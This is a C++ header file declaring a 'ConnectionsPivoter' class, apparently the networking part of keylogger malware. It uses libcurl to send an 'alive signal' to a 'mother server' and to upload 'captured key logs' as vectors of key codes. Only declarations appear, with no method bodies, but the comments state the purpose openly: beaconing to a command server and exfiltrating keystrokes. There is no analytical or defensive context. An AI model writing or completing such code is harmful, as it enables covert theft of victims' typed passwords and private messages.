#ifndef CONNECTIONS_PIVOTER_H #define CONNECTIONS_PIVOTER_H #define CURL_STATICLIB #include #include #include #include #include #pragma comment (lib, "Normaliz.lib") #pragma comment (lib, "Ws2_32.lib") #pragma comment (lib, "Wldap32.lib") #pragma comment (lib, "Crypt32.lib") #pragma comment (lib, "advapi32.lib") class ConnectionsPivoter { public: std::string url; CURL* curl; ConnectionsPivoter(std::string url); ConnectionsPivoter(); /// Update the url value /// New url value void set_url(std::string new_url) { this->url = new_url; }; /// Send an alive signal to the mother server /// TRUE if successful BOOL send_alive_signal(); /// Send the captured key logs to the mother server. /// vector of key codes /// TRUE if successful BOOL send_codes(std::vector codes); private: }; #endif